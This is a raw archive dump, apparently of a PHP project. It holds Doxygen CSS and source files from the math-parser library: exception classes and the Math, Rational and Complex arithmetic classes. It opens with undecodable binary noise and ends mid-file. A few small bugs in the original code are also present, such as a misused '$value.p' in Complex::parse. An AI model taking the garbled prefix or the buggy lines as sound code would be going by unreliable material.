[N۷裏.Y$77RVVt:NgfffVVVlʕ\4ܖ?MQFޤ H"aW|pvm=^:b,9,`~VVyɒTnݻ7 vvvNP꾻}Qe^w̙jzڴi`9x E)E577?SPSSc6)˗/_l[o%se\.Wk< ݤtz}[/w(>g#ߗX7~)#{wl;wWǦ_dO*$6#6nOVWWl6BHp8CX")sSE:WKJ=I4z1RBpNi 7PSE"{@8nk'[sŧ ocP\ /X8趂 A$ ݑ%(=[N)zM5"K㓎iH]`䡽S@Pܷzz-KxUK 60$B%{q%$-z^C5NRF0y'e#EulR\\|ĉAaf pl>++\ӷSBP+8㮛Tɧ~?_wAA`Wl{׶ڭ_E T4NS^MPF!c((iUSDS4vH|DV(zɱ[f܈]%v4g=ZuZ.IcoF1!InVYsN<"!Pkm5u:O!"]ņ*&%Ce52&艮r;65x *_,Cy|Qݒ푶~R@RZDMIŹsEYpo?~}G=cu$$X˒걒!];>ss$9B1#ǡuuN}f>+U+1s Nw抿&]kU`*0ƻ }9T7CMN&ꋫwqIb 27֪Ae,!v77|׏~$uSP]I)B*$@Lo<"]\ǞAcBC&EiEW=jm6x:ݧ/x/ >RlPAҧjl>7Wkp`:9Ejlj'-[M~:NX7䡙X{'E`AbE !AV![̀ݤd!v 6__Ѭ'~};QYܢ!;vf9*cU:PEma>GӈAXDZU*KB%CV<1Yic1;f%]361`Mc=4yh_c~/CMbfFվUeM4xѡO܅J~U1.Dai43l?i@/}Ym2"#B@{#M֋Np Hfe^ wy# U+vp{wYSY!@ S1l߆dÆ<Dƀѿ !Ako@wZL.TEu*_x%oUuT;#~0 K(1x ЕZ<ϩt6ϔ7%cTǔ|s.G[[/[-:]})FY4&Nrm-Uc ) o4F:w?V .container { padding-left: 15px; padding-right: 15px; } .footer-follow-icon { margin-left: 3px; text-decoration: none !important; } .footer-follow-icon img { width: 20px; } .footer-link { padding-top: 5px; display: inline-block; color: #999999; text-decoration: none; } .footer-copyright { text-align: center; } @media (min-width: 992px) { .footer-row { text-align: left; } .footer-icons { text-align: right; } } @media (max-width: 991px) { .footer-row { text-align: center; } .footer-icons { text-align: center; } } /* DOXYGEN Code Styles ----------------------------------- */ .qindex { font-weight: bold; } a.qindexHL { font-weight: bold; background-color: #9CAFD4; color: #ffffff; border: 1px double #869DCA; } .contents a.qindexHL:visited { color: #ffffff; } a.code, a.code:visited, a.line, a.line:visited { color: #4665A2; } a.codeRef, a.codeRef:visited, a.lineRef, a.lineRef:visited { color: #4665A2; } /* @end */ .el { margin-left: -1cm; } pre.fragment { border: 1px solid #C4CFE5; background-color: #FBFCFD; padding: 4px 6px; margin: 4px 8px 4px 2px; overflow: auto; word-wrap: break-word; line-height: 125%; font-family: monospace, fixed; font-size: 105%; } div.fragment { padding: 4px 6px; margin: 4px 8px 4px 2px; border: 1px solid #C4CFE5; } div.line { font-family: monospace, fixed; font-size: 13px; min-height: 13px; line-height: 1.0; text-wrap: normal; white-space: -moz-pre-wrap; /* Moz */ white-space: -pre-wrap; /* Opera 4-6 */ white-space: -o-pre-wrap; /* Opera 7 */ white-space: pre-wrap; /* CSS3 */ word-wrap: break-word; /* IE 5.5+ */ text-indent: -53px; padding-left: 53px; padding-bottom: 0; margin: 0; -webkit-transition-property: background-color, box-shadow; -webkit-transition-duration: 0.5s; -moz-transition-property: background-color, box-shadow; -moz-transition-duration: 0.5s; -ms-transition-property: background-color, box-shadow; -ms-transition-duration: 0.5s; -o-transition-property: background-color, box-shadow; -o-transition-duration: 0.5s; transition-property: background-color, box-shadow; transition-duration: 0.5s; } .glow { background-color: cyan; box-shadow: 0 0 10px cyan; } span.lineno { padding-right: 4px; text-align: right; border-right: 2px solid #0F0; background-color: #E8E8E8; white-space: pre; } span.lineno a { background-color: #D8D8D8; } span.lineno a:hover { background-color: #C8C8C8; } .groupHeader { margin-left: 16px; margin-top: 12px; font-weight: bold; } .groupText { margin-left: 16px; font-style: italic; } /* @group Code Colorization */ .keyword { color: #008000 } .keywordtype { color: #604020 } .keywordflow { color: #e08000 } .comment { color: #800000 } .preprocessor { color: #806020 } .stringliteral { color: #002080 } .charliteral { color: #008080 } .vhdldigit { color: #ff00ff } .vhdlchar { color: #000000 } .vhdlkeyword { color: #700070 } .vhdllogic { color: #ff0000 } blockquote { background-color: #F7F8FB; border-left: 2px solid #9CAFD4; margin: 0 24px 0 4px; padding: 0 12px 0 16px; } .menu-divider { height: 50px; margin: 0 9px !important; border-right: 1px solid #222222; border-left: 1px solid #111111; } @media (max-width: 767px) { .navbar-collapse .nav > .menu-divider { display: none; } } .subactive a span { border-bottom: 2px solid #808080; } .navbar-brand img { margin: -4px 0 0 0; padding: 0; height: 100%; } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Exceptions/UnknownOperatorException.php000064400000001520147600365160030116 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Exceptions; /** * Exception thrown when parsing or evaluating expressions containing an * unknown oprator. * * This should not happen under normal circumstances. */ class UnknownOperatorException extends MathParserException { /** Constructor. Create a UnknownOperatorException */ public function __construct($operator) { parent::__construct("Unknown operator $operator."); $this->data = $operator; } /** * Get the unkown operator that was encountered. * * @retval string */ public function getOperator() { return $this->data; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Exceptions/UnknownVariableException.php000064400000001416147600365160030054 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Exceptions; /** * Exception thrown when parsing or evaluating expressions containing an * unknown or undefined variable. */ class UnknownVariableException extends MathParserException { /** Constructor. Create a UnknownVariableException */ public function __construct($variable) { parent::__construct("Unknown variable $variable."); $this->data = $variable; } /** * Get the unkown variable. * * @retval string */ public function getVariable() { return $this->data; } } formulas/vendor/mossadal/math-parser/src/MathParser/Exceptions/ParenthesisMismatchException.php000064400000001432147600365160030641 0ustar00modules * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Exceptions; /** * Exception thrown when parsing expressions having non-matching left and * right parentheses. */ class ParenthesisMismatchException extends MathParserException { /** Constructor. Create a ParenthesisMismatchException */ public function __construct($data = null) { parent::__construct("Unable to match delimiters."); $this->data = $data; } /** * Get the incorrect data that was encountered. * * @retval string */ public function getData() { return $this->data; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Exceptions/SyntaxErrorException.php000064400000001020147600365160027236 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Exceptions; /** * Exception thrown when parsing expressions that are not well-formed. */ class SyntaxErrorException extends MathParserException { /** Constructor. Create a SyntaxErrorException */ public function __construct() { parent::__construct("Syntax error."); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Exceptions/UnknownFunctionException.php000064400000001516147600365160030115 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Exceptions; /** * Exception thrown when parsing or evaluating expressions containing an * unknown function symbol. * * This should not happen under normal circumstances. */ class UnknownFunctionException extends MathParserException { /** Constructor. Create a UnknownFunctionException */ public function __construct($operator) { parent::__construct("Unknown function $operator."); $this->data = $operator; } /** * Get the unkown function that was encountered. * * @retval string */ public function getFunction() { return $this->data; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Exceptions/DivisionByZeroException.php000064400000001036147600365160027664 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Exceptions; /** * Exception thrown when evaluating expressions containing a division by zero. */ class DivisionByZeroException extends MathParserException { /** Constructor. Create a DivisionByZeroException */ public function __construct() { parent::__construct("Division by zero."); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Exceptions/UnknownConstantException.php000064400000001522147600365160030116 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Exceptions; /** * Exception thrown when parsing or evaluating expressions containing an * unknown constant. * * This should not happen under normal circumstances. */ class UnknownConstantException extends MathParserException { /** Constructor. Create a UnknownConstantException. */ public function __construct($operator) { parent::__construct("Unknown constant $operator."); $this->data = $operator; } /** * Get the unkown constant that was encountered. * * @retval string */ public function getConstant() { return $this->data; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Exceptions/UnknownTokenException.php000064400000001367147600365160027414 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Exceptions; /** * Exception thrown when tokenizing expressions containing illegal * characters. */ class UnknownTokenException extends MathParserException { /** Constructor. Create a UnknownTokenException */ public function __construct($name) { parent::__construct("Unknown token $name encountered"); $this->data = $name; } /** * Get the unknown token that was encountered. * * @retval string */ public function getName() { return $this->data; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Exceptions/MathParserException.php000064400000001335147600365160027015 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ /** * @namespace MathParser::Exceptions * * Exceptions thrown by the MathParser library. */ namespace MathParser\Exceptions; /** * Base class for the exceptions thrown by the MathParser library. */ abstract class MathParserException extends \Exception { /** @var string Additional information about the exception. */ protected $data; /** * Get additional information about the exception. * * @retval string */ public function getData() { return $this->data; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Extensions/Math.php000064400000006435147600365160024005 0ustar00 * @copyright 2016 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL */ namespace MathParser\Extensions; class Math { /** * Compute greates common denominator, using the Euclidean algorithm * * Compute and return gcd($a, $b) * * @param int $a * @param int $b * @retval int */ public static function gcd($a, $b) { $sign = 1; if ($a < 0) $sign = -$sign; if ($b < 0) $sign = -$sign; while ($b != 0) { $m = $a % $b; $a = $b; $b = $m; } return $sign*abs($a); } /** * Compute log(Gamma($a)) where $a is a positive real number * * For large values of $a ($a > 171), use Stirling asympotic expansion, * otherwise use the Lanczos approximation * * @param float $a * @throws InvalidArgumentException if $a < 0 * @retval float */ public static function logGamma($a) { if($a < 0) throw new \InvalidArgumentException("Log gamma calls should be >0."); if ($a >= 171) // Lanczos approximation w/ the given coefficients is accurate to 15 digits for 0 <= real(z) <= 171 return self::logStirlingApproximation($a); else return log(self::lanczosApproximation($a)); } /** * Compute log(Gamma($x)) using Stirling asympotic expansion * * @param float $x * @retval float */ private static function logStirlingApproximation($x) { $t = 0.5*log(2*pi()) - 0.5*log($x) + $x*(log($x))-$x; $x2 = $x * $x; $x3 = $x2 * $x; $x4 = $x3 * $x; $err_term = log(1 + (1.0/(12*$x)) + (1.0/(288*$x2)) - (139.0/(51840*$x3)) - (571.0/(2488320*$x4))); $res = $t + $err_term; return $res; } /** * Compute factorial n! for an integer $n using iteration * * @param int $num * @retval int */ public static function Factorial($num) { if ($num < 0) throw new \InvalidArgumentException("Fatorial calls should be >0."); $rval=1; for ($i = 1; $i <= $num; $i++) $rval = $rval * $i; return $rval; } /** * Compute semi-factorial n!! for an integer $n using iteration * * @param int $num * @retval int */ public static function SemiFactorial($num) { if ($num < 0) throw new \InvalidArgumentException("Semifactorial calls should be >0."); $rval=1; while ($num >= 2) { $rval =$rval * $num; $num = $num-2; } return $rval; } /** * Compute log(Gamma($x)) using Lanczos approximation * * @param float $x * @retval float */ private static function lanczosApproximation($x) { $g = 7; $p = array(0.99999999999980993, 676.5203681218851, -1259.1392167224028, 771.32342877765313, -176.61502916214059, 12.507343278686905, -0.13857109526572012, 9.9843695780195716e-6, 1.5056327351493116e-7); if (abs($x - floor($x)) < 1e-16) { // if we're real close to an integer, let's just compute the factorial integerly. if ($x >= 1) return self::Factorial($x - 1); else return INF; } else { $x -= 1; $y = $p[0]; for ($i=1; $i < $g+2; $i++) { $y = $y + $p[$i]/($x + $i); } $t = $x + $g + 0.5; $res_fr = sqrt(2*pi()) * exp((($x+0.5)*log($t))-$t)*$y; return $res_fr; } } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Extensions/Rational.php000064400000016317147600365160024665 0ustar00 * @copyright 2016 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Extensions; use MathParser\Exceptions\SyntaxErrorException; use MathParser\Exceptions\DivisionByZeroException; /** * Implementation of rational number arithmetic. * * ## Example: * ~~~{.php} * $a = new Rational(1, 4); // creates the rational number 1/4 * $b = new Rational(2, 3); // creates the rational number -1+i * sum = Rational::add($a, $b) // computes the sum 1/4 + 2/3 * ~~~ * * */ class Rational { /** * int $p numerator */ public $p; /** * int $q denominator */ public $q; /** * Constuctor for Rational number class * * $r = new Rational(2, 4) // creates 1/2 * $r = new Rational(2, 4, false) // creates 2/4 * * @param int $p numerator * @param int $q denominator * @param bool $normalize (default true) If true, store in normalized form, * i.e. positive denominator and gcd($p, $q) = 1 */ public function __construct($p, $q, $normalize=true) { $this->p = $p; $this->q = $q; if ($q == 0) throw new DivisionByZeroException(); if ($normalize) $this->normalize(); } /** * Normalize, i.e. make sure the denominator is positive and that * the numerator and denominator have no common factors */ private function normalize() { $gcd = Math::gcd($this->p, $this->q); if ($gcd == 0) throw new DivisionByZeroException(); $this->p = $this->p/$gcd; $this->q = $this->q/$gcd; if ($this->q < 0) { $this->p = -$this->p; $this->q = -$this->q; } } /** * add two rational numbers * * Rational::add($x, $y) computes and returns $x+$y * * * @param mixed $x (Rational, or parsable to Rational) * @param mixed $y (Rational, or parsable to Rational) * @retval Rational */ public static function add($x, $y) { $X = static::parse($x); $Y = static::parse($y); $resp = $X->p * $Y->q + $X->q * $Y->p; $resq = $X->q * $Y->q; return new Rational($resp, $resq); } /** * subtract two rational numbers * * Rational::sub($x, $y) computes and returns $x-$y * * * @param mixed $x (Rational, or parsable to Rational) * @param mixed $y (Rational, or parsable to Rational) * @retval Rational */ public static function sub($x, $y) { $X = static::parse($x); $Y = static::parse($y); $resp = $X->p * $Y->q - $X->q * $Y->p; $resq = $X->q * $Y->q; return new Rational($resp, $resq); } /** * multiply two rational numbers * * Rational::mul($x, $y) computes and returns $x*$y * * * @param mixed $x (Rational, or parsable to Rational) * @param mixed $y (Rational, or parsable to Rational) * @retval Rational */ public static function mul($x, $y) { $X = static::parse($x); $Y = static::parse($y); $resp = $X->p * $Y->p; $resq = $X->q * $Y->q; return new Rational($resp, $resq); } /** * add two rational numbers * * Rational::div($x, $y) computes and returns $x/$y * * * @param mixed $x (Rational, or parsable to Rational) * @param mixed $y (Rational, or parsable to Rational) * @retval Rational */ public static function div($x, $y) { $X = static::parse($x); $Y = static::parse($y); if ($Y->p == 0) throw new DivisionByZeroException(); $resp = $X->p * $Y->q; $resq = $X->q * $Y->p; return new Rational($resp, $resq); } /** * convert rational number to string, adding a '+' if the number is positive * * @retval string */ public function signed() { if ($this->q == 1) { return sprintf("%+d", $this->p); } return sprintf("%+d/%d", $this->p, $this->q); } /** * test whether a string represents an positive integer * * @retval bool */ private static function isInteger($value) { return preg_match('~^\d+$~', $value); } /** * test whether a string represents a signed integer * * @retval bool */ private static function isSignedInteger($value) { return preg_match('~^\-?\d+$~', $value); } /** * test if the rational number is NAN * * @retval bool */ public function is_nan() { if ($this->q == 0) return true; return is_nan($this->p) || is_nan($this->q); } /** * Convert $value to Rational * * @param $value mixed * @throws SyntaxErrorException * @retval Rational */ public static function parse($value, $normalize=true) { if ($value === '') return null; if ($value === 'NAN') return new Rational(NAN, 1); if ($value === 'INF') return new Rational(INF, 1); if ($value === '-INF') return new Rational(-INF, 1); $data = $value; $numbers = explode('/', $data); if (count($numbers) == 1) { $p = static::isSignedInteger($numbers[0]) ? intval($numbers[0]) : NAN; $q = 1; } elseif (count($numbers) != 2) { $p = NAN; $q = NAN; } else { $p = static::isSignedInteger($numbers[0]) ? intval($numbers[0]) : NAN; $q = static::isInteger($numbers[1]) ? intval($numbers[1]) : NAN; } if (is_nan($p) || is_nan($q)) throw new SyntaxErrorException(); return new Rational($p, $q, $normalize); } /** * convert float to Rational * * Convert float to a continued fraction, with prescribed accuracy * * @param string|float $float * @param float $tolerance * @retval Rational */ public static function fromFloat($float, $tolerance=1e-7) { if (is_string($float) && preg_match('~^\-?\d+([,|.]\d+)?$~', $float)) { $float = floatval(str_replace(',','.',$float)); } if ($float == 0.0) { return new Rational(0,1); } $negative = ($float < 0); if ($negative) { $float = abs($float); } $num1 = 1; $num2 = 0; $den1 = 0; $den2 = 1; $oneOver = 1 / $float; do { $oneOver = 1 / $oneOver; $floor = floor($oneOver); $aux = $num1; $num1 = $floor * $num1 + $num2; $num2 = $aux; $aux = $den1; $den1 = $floor * $den1 + $den2; $den2 = $aux; $oneOver = $oneOver - $floor; } while (abs($float - $num1 / $den1) > $float * $tolerance); if ($negative) { $num1 *= -1; } return new Rational(intval($num1), intval($den1)); } /** * Convert Rational to string * * @retval string */ public function __toString() { if ($this->q == 1) return "$this->p"; return "$this->p/$this->q"; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Extensions/Complex.php000064400000044646147600365160024531 0ustar00 * @copyright 2016 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Extensions; use MathParser\Extensions\Math as Math; use MathParser\Extensions\Rational as Rational; use MathParser\Exceptions\SyntaxErrorException; use MathParser\Exceptions\DivisionByZeroException; /** * Implementation of complex number arithmetic with the * standard transcendental functions. * * ## Example: * ~~~{.php} * $z = new Complex(3, 4); // creates the complex number 3+4i * $w = new Complex(-1, 1); // creates the complex number -1+i * $product = Complex::mul($z, $w) // computes the product (3+4i)(-1+i) * ~~~ * * */ class Complex { /** * float $x real part */ private $x; /** * float $y real part */ private $y; /** * Constructor * * Construct a complex number with given real and imaginary part * * @param float $real real part * @param float $imag imaginary part */ public function __construct($real, $imag) { $this->x = $real; $this->y = $imag; } /** * Real part * * @retval float real part */ public function r() { return $this->x; } /** * Imaginary part * * @retval float imaginary part */ public function i() { return $this->y; } /** * Modulus (absolute value) * * Return the modulus of the complex number z=x+iy, i.e. * sqrt(x^2 + y^2) * * @retval float modulus */ public function abs() { return hypot($this->x, $this->y); } /** * Argument (principal value) * * Returns the prinicpal argument of the complex number, * i.e. a number t with -pi < t <= pi, such that z = rexp(i*t) for * some positive real r * @retval float argument */ public function arg() { return atan2($this->y, $this->x); } /** * test if the complex number is NAN * * @retval bool */ public function is_nan() { return is_nan($this->x) || is_nan($this->y); } /** * check whether a string represents a signed real number * * @param string $value * @retval bool true if $value is a signed real number */ private static function isSignedReal($value) { return preg_match('~^\-?\d+([,|.]\d+)?$~', $value); } /** * convert string to floating point number, if possible * * decimal commas accepted * * @param string $value * @throws SyntaxErrorException if the string cannot be parsed * @retval float */ private static function parseReal($value) { if ($value == '') return null; $x = str_replace(',', '.', $value); if (static::isSignedReal($x)) return floatval($x); else throw new SyntaxErrorException(); } /** * convert data to a complex number, if possible * * * @param mixed $value (Complex, Rational, int, float and strings accepted) * @throws SyntaxErrorException if the string cannot be parsed * @retval Complex */ public static function parse($value) { if ($value instanceof Complex) return $value; if ($value instanceof Rational) return new Complex($value.p/$value.q, 0); if (is_int($value)) return new Complex($value, 0); if (is_float($value)) return new Complex($value, 0); if (!is_string($value)) throw new SyntaxErrorException(); // Match complex numbers with an explicit i $matches = array(); $valid = \preg_match( '#^([-,\+])?([0-9/,\.]*?)([-,\+]?)([0-9/,\.]*?)i$#', \trim($value), $matches ); if ($valid == 1) { $real = $matches[2]; if ($real === '') { $matches[3] = $matches[1]; $real = '0'; } $imaginary = $matches[4]; if ($imaginary === '') $imaginary = '1'; if ($matches[1] && $matches[1] == '-') { $real = '-' . $real; } if ($matches[3] && $matches[3] == '-') { $imaginary = '-' . $imaginary; } try { $a = Rational::parse($real); $realPart = $a->p/$a->q; } catch(SyntaxErrorException $e) { $realPart = static::parseReal($real); } try { $b = Rational::parse($imaginary); $imaginaryPart = $b->p/$b->q; } catch(SyntaxErrorException $e) { $imaginaryPart = static::parseReal($imaginary); } } else { // That failed, try matching a rational number try { $a = Rational::parse($value); $realPart = $a->p/$a->q; $imaginaryPart = 0; } catch(SyntaxErrorException $e) { // Final attempt, try matching a real number $realPart = static::parseReal($value); $imaginaryPart = 0; } } $z = new Complex($realPart, $imaginaryPart); return $z; } /** * convert data to a floating point number, if possible * * * @param mixed $value (float, int, Rational) * @throws SyntaxErrorException if the string cannot be parsed * @retval float */ private static function toFloat($x) { if (is_float($x)) return $x; if (is_int($x)) return $x; if (is_string($x)) { $r = Rational::parse($x); return $r->p/$r->q; } throw new SyntaxErrorException(); } /** * create a complex number from its real and imaginary parts * * * @param mixed $real (float, int, Rational) * @param mixed $imag (float, int, Rational) * @throws SyntaxErrorException if the string cannot be parsed * @retval float */ public static function create($real, $imag) { $x = static::toFloat($real); $y = static::toFloat($imag); return new Complex($x, $y); } /** * add two complex numbers * * Complex::add($z, $w) computes and returns $z+$w * * * @param mixed $z (Complex, or parsable to Complex) * @param mixed $w (Complex, or parsable to Complex) * @retval Complex */ public static function add($z, $w) { if (!($z instanceof Complex)) $z = static::parse($z); if (!($w instanceof Complex)) $w = static::parse($w); return static::create($z->x + $w->x, $z->y + $w->y); } /** * subtract two complex numbers * * Complex::sub($z, $w) computes and returns $z-$w * * * @param mixed $z (Complex, or parsable to Complex) * @param mixed $w (Complex, or parsable to Complex) * @retval Complex */ public static function sub($z, $w) { if (!($z instanceof Complex)) $z = static::parse($z); if (!($w instanceof Complex)) $w = static::parse($w); return static::create($z->x - $w->x, $z->y - $w->y); } /** * multiply two complex numbers * * Complex::mul($z, $w) computes and returns $z*$w * * * @param mixed $z (Complex, or parsable to Complex) * @param mixed $w (Complex, or parsable to Complex) * @retval Complex */ public static function mul($z, $w) { if (!($z instanceof Complex)) $z = static::parse($z); if (!($w instanceof Complex)) $w = static::parse($w); return static::create($z->x * $w->x - $z->y * $w->y, $z->x * $w->y + $z->y * $w->x); } /** * divide two complex numbers * * Complex::div($z, $w) computes and returns $z/$w * * * @param mixed $z (Complex, or parsable to Complex) * @param mixed $w (Complex, or parsable to Complex) * @retval Complex */ public static function div($z, $w) { if (!($z instanceof Complex)) $z = static::parse($z); if (!($w instanceof Complex)) $w = static::parse($w); $d = $w->x * $w->x + $w->y * $w->y; if ($d == 0) throw new DivisionByZeroException(); return static::create(($z->x * $w->x + $z->y * $w->y)/$d, (-$z->x * $w->y + $z->y * $w->x)/$d); } /** * powers of two complex numbers * * Complex::pow($z, $w) computes and returns the principal value of $z^$w * * * @param mixed $z (Complex, or parsable to Complex) * @param mixed $w (Complex, or parsable to Complex) * @retval Complex */ public static function pow($z, $w) { // If exponent is an integer, compute the power using a square-and-multiply algorithm if (is_int($w)) return static::powi($z, $w); // Otherwise compute the principal branch: z^w = exp(wlog z) return static::exp(static::mul($w, static::log($z))); } /** * integer power of a complex number * * Complex::powi($z, $n) computes and returns $z^$n where $n is an integer * * * @param mixed $z (Complex, or parsable to Complex) * @param int $n * @retval Complex */ private static function powi($z, $n) { if ($n < 0) return static::div(1,static::powi($z, -$n)); if ($n == 0) return new Complex(1,0); $y = new Complex(1,0); while ($n > 1) { if ($n % 2 == 0) { $n = $n / 2; } else { $y = static::mul($z, $y); $n = ($n-1)/2; } $z = static::mul($z, $z); } return static::mul($z, $y); } // Transcendental functions /** * complex sine function * * Complex::sin($z) computes and returns sin($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function sin($z) { if (!($z instanceof Complex)) $z = static::parse($z); return static::create(sin($z->x)*cosh($z->y), cos($z->x)*sinh($z->y)); } /** * complex cosine function * * Complex::cos($z) computes and returns cos($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function cos($z) { if (!($z instanceof Complex)) $z = static::parse($z); return static::create(cos($z->x)*cosh($z->y), -sin($z->x)*sinh($z->y)); } /** * complex tangent function * * Complex::tan($z) computes and returns tan($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function tan($z) { if (!($z instanceof Complex)) $z = static::parse($z); $d = cos($z->x)*cos($z->x) + sinh($z->y)*sinh($z->y); return static::create(sin($z->x)*cos($z->x)/$d, sinh($z->y)*cosh($z->y)/$d); } /** * complex cotangent function * * Complex::cot($z) computes and returns cot($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function cot($z) { if (!($z instanceof Complex)) $z = static::parse($z); $d = sin($z->x)*sin($z->x) + sinh($z->y)*sinh($z->y); return static::create(sin($z->x)*cos($z->x)/$d, -sinh($z->y)*cosh($z->y)/$d); } /** * complex inverse sine function * * Complex::arcsin($z) computes and returns the principal branch of arcsin($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function arcsin($z) { if (!($z instanceof Complex)) $z = static::parse($z); $I = new Complex(0,1); $iz = static::mul($z, $I); // iz $temp = static::sqrt(static::sub(1, static::mul($z, $z))); // sqrt(1-z^2) return static::div(static::log(static::add($iz, $temp)), $I); } /** * complex inverse cosine function * * Complex::arccos($z) computes and returns the principal branch of arccos($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function arccos($z) { if (!($z instanceof Complex)) $z = static::parse($z); $I = new Complex(0,1); $temp = static::mul(static::sqrt(static::sub(1, static::mul($z, $z))), $I); return static::div(static::log(static::add($z, $temp)), $I); } /** * complex inverse tangent function * * Complex::arctan($z) computes and returns the principal branch of arctan($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function arctan($z) { if (!($z instanceof Complex)) $z = static::parse($z); $I = new Complex(0,1); $iz = static::mul($z, $I); $w = static::div( static::add(1, $iz), static::sub(1, $iz) ); $logw = static::log($w); return static::div($logw, new Complex(0,2)); } /** * complex inverse cotangent function * * Complex::arccot($z) computes and returns the principal branch of arccot($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function arccot($z) { if (!($z instanceof Complex)) $z = static::parse($z); return static::sub(M_PI/2, static::arctan($z)); } /** * complex exponential function * * Complex::exp($z) computes and returns exp($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function exp($z) { if (!($z instanceof Complex)) $z = static::parse($z); $r = exp($z->x); return new Complex($r*cos($z->y), $r*sin($z->y)); } /** * complex logarithm function * * Complex::log($z) computes and returns the principal branch of log($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function log($z) { if (!($z instanceof Complex)) $z = static::parse($z); $r = $z->abs(); $theta = $z->arg(); if ($r == 0) return new Complex(NAN, NAN); return new Complex(log($r), $theta); } /** * complex hyperbolic sine function * * Complex::sinh($z) computes and returns sinh($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function sinh($z) { if (!($z instanceof Complex)) $z = static::parse($z); return static::create(sinh($z->x)*cos($z->y), cosh($z->x)*sin($z->y)); } /** * complex hyperbolic cosine function * * Complex::cosh($z) computes and returns cosh($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function cosh($z) { if (!($z instanceof Complex)) $z = static::parse($z); return static::create(cosh($z->x)*cos($z->y), sinh($z->x)*sin($z->y)); } /** * complex hyperbolic tangent function * * Complex::tanh($z) computes and returns tanh($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function tanh($z) { if (!($z instanceof Complex)) $z = static::parse($z); $d = sinh($z->x)*sinh($z->x) + cos($z->y)*cos($z->y); return static::create(sinh($z->x)*cosh($z->x)/$d, sin($z->y)*cos($z->y)/$d); } /** * complex inverse hyperbolic sine function * * Complex::arsinh($z) computes and returns the principal branch of arsinh($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function arsinh($z) { if (!($z instanceof Complex)) $z = static::parse($z); return static::log(static::add($z, static::sqrt(static::add(1, static::mul($z, $z))))); } /** * complex inverse hyperbolic cosine function * * Complex::arcosh($z) computes and returns the principal branch of arcosh($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function arcosh($z) { if (!($z instanceof Complex)) $z = static::parse($z); return static::log(static::add($z, static::sqrt(static::add(-1, static::mul($z, $z))))); } /** * complex inverse hyperbolic tangent function * * Complex::artanh($z) computes and returns the principal branch of artanh($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function artanh($z) { if (!($z instanceof Complex)) $z = static::parse($z); return static::div(static::log(static::div(static::add(1,$z), static::sub(1,$z))),2); } /** * complex square root function * * Complex::sqrt($z) computes and returns the principal branch of sqrt($z) * * * @param mixed $z (Complex, or parsable to Complex) * @retval Complex */ public static function sqrt($z) { if (!($z instanceof Complex)) $z = static::parse($z); $r = sqrt($z->abs()); $theta = $z->arg()/2; return new Complex($r*cos($theta), $r*sin($theta)); } /** * string representation of a complex number * * * @param mixed $z (Complex, or parsable to Complex) * @retval string */ public function __toString() { // TODO: use Number:: helper functions. $realAsRational = Rational::fromFloat($this->x); if ($realAsRational->q <= 100) { $real = "$realAsRational"; } else $real = sprintf('%f', $this->x); $imagAsRational = Rational::fromFloat($this->y); if ($imagAsRational->q <= 100) { $imag = $imagAsRational->signed(); } else $imag = sprintf('%+f', $this->y); if ($this->y == 0) return $real; if ($this->x == 0) { if ($this->y == 1) return 'i'; if ($this->y == -1) return '-i'; if ($imag[0] == '+') $imag = substr($imag, 1); return "${imag}i"; } if ($this->y == 1) $imag = '+'; if ($this->y == -1) $imag = '-'; return "$real${imag}i"; } public function signed() { $str = (string)($this); if ($str[0] != '-') return "+$str"; return $str; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Interpreting/Visitors/Visitable.php000064400000003104147600365160027161 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ /** @namespace 